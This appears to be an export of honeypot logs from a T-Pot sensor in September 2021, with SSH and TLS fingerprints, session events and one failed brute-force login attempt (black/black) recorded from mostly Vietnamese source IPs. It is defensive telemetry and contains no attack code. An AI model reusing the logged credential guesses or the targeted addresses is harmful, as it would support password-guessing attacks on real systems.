23951	160.44.201.156	109.199.241.180	Fatt	2021-09-20 14:08:22.818769+03	2021-09-20 14:15:08.16547+03	{"_id": "zwbkAnwBvYTbRNuEhRCV", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "160.44.201.156", "asn": 34086, "as_org": "T-Systems International GmbH", "latitude": 51.2993, "location": {"lat": 51.2993, "lon": 9.491}, "timezone": "Europe/Berlin", "longitude": 9.491, "country_name": "Germany", "country_code2": "DE", "country_code3": "DE", "continent_code": "EU"}, "src_ip": "160.44.201.156", "dest_ip": "192.168.20.116", "@version": "1", "fatt_tls": {"ja3s": "ec74a5c51106f0419184d0dd08fb05bc", "ja3sCiphers": "49200", "ja3sVersion": "771", "ja3sAlgorithms": "771,49200,65281-11-35-23", "ja3sExtensions": "65281-11-35-23"}, "protocol": "tls", "src_port": 443, "dest_port": 34820, "timestamp": "2021-09-20T11:08:22.818769", "@timestamp": "2021-09-20T11:08:22.818Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	\N
23954	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:08:22.520544+03	2021-09-20 14:15:08.16947+03	{"_id": "4gbkAnwBvYTbRNuEhhBF", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "16fb460ab473", "@version": "1", "timestamp": "2021-09-20T11:08:22.520544Z", "@timestamp": "2021-09-20T11:08:22.520Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
23955	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:08:22.551373+03	2021-09-20 14:15:08.17047+03	{"_id": "4wbkAnwBvYTbRNuEhhBF", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "d30423c30be5", "@version": "1", "timestamp": "2021-09-20T11:08:22.551373Z", "@timestamp": "2021-09-20T11:08:22.551Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
23956	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:08:22.670989+03	2021-09-20 14:15:08.172471+03	{"_id": "5AbkAnwBvYTbRNuEhhBF", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "8acc74391e84", "@version": "1", "duration": 2.5331687927246094, "timestamp": "2021-09-20T11:08:22.670989Z", "@timestamp": "2021-09-20T11:08:22.670Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
23957	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:08:22.777383+03	2021-09-20 14:15:08.173471+03	{"_id": "5QbkAnwBvYTbRNuEhhBF", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "da2c9fe35ec9", "@version": "1", "duration": 2.9140844345092773, "timestamp": "2021-09-20T11:08:22.777383Z", "@timestamp": "2021-09-20T11:08:22.777Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
23958	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:08:23.076585+03	2021-09-20 14:15:08.17447+03	{"_id": "5gbkAnwBvYTbRNuEhhBF", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "eventid": "cowrie.session.closed", "message": "Connection lost after 4 seconds", "session": "fa72da21487b", "@version": "1", "duration": 4.0722246170043945, "timestamp": "2021-09-20T11:08:23.076585Z", "@timestamp": "2021-09-20T11:08:23.076Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
23959	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:08:23.183366+03	2021-09-20 14:15:08.175472+03	{"_id": "5wbkAnwBvYTbRNuEhhBF", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "4541dede7521", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:08:23.183366Z", "@timestamp": "2021-09-20T11:08:23.183Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
23960	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:08:23.204155+03	2021-09-20 14:15:08.17747+03	{"_id": "6AbkAnwBvYTbRNuEhhBF", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.session.closed", "message": "Connection lost after 3 seconds", "session": "671c62b37a79", "@version": "1", "duration": 3.0684022903442383, "timestamp": "2021-09-20T11:08:23.204155Z", "@timestamp": "2021-09-20T11:08:23.204Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
23961	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:08:23.30805+03	2021-09-20 14:15:08.17847+03	{"_id": "6QbkAnwBvYTbRNuEhhBF", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "2803c0f1e2f5", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:08:23.308050Z", "@timestamp": "2021-09-20T11:08:23.308Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
23962	115.72.130.93	109.199.241.180	Suricata	2021-09-20 14:08:23.524462+03	2021-09-20 14:15:08.17947+03	{"_id": "6wbkAnwBvYTbRNuEiBCY", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "115.72.130.93", "dest_ip": "192.168.20.116", "flow_id": 238200692366917, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 54048, "dest_port": 22, "timestamp": "2021-09-20T11:08:23.524462Z", "@timestamp": "2021-09-20T11:08:23.524Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
23963	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:08:23.308586+03	2021-09-20 14:15:08.180471+03	{"_id": "7AbkAnwBvYTbRNuEiRB_", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "115.72.130.93", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 54048, "timestamp": "2021-09-20T11:08:23.308586", "@timestamp": "2021-09-20T11:08:23.308Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
23964	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:08:23.932851+03	2021-09-20 14:15:08.181471+03	{"_id": "8AbkAnwBvYTbRNuEihAg", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 115.72.130.93:37776 (192.168.176.2:22) [session: 4a49f30d01e7]", "session": "4a49f30d01e7", "@version": "1", "protocol": "ssh", "src_port": 37776, "dest_port": 22, "timestamp": "2021-09-20T11:08:23.932851Z", "@timestamp": "2021-09-20T11:08:23.932Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
23965	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:08:23.432965+03	2021-09-20 14:15:08.18347+03	{"_id": "-AbkAnwBvYTbRNuEihAg", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "97dff7981ffd", "@version": "1", "duration": 2.752145767211914, "timestamp": "2021-09-20T11:08:23.432965Z", "@timestamp": "2021-09-20T11:08:23.432Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
23966	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:08:23.498436+03	2021-09-20 14:15:08.184471+03	{"_id": "-QbkAnwBvYTbRNuEihAg", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.login.failed", "message": "login attempt [black/black] failed", "session": "16fb460ab473", "@version": "1", "password": "black", "username": "black", "timestamp": "2021-09-20T11:08:23.498436Z", "@timestamp": "2021-09-20T11:08:23.498Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
23967	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:08:23.521067+03	2021-09-20 14:15:08.185471+03	{"_id": "-gbkAnwBvYTbRNuEihAg", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "4541dede7521", "@version": "1", "timestamp": "2021-09-20T11:08:23.521067Z", "@timestamp": "2021-09-20T11:08:23.521Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
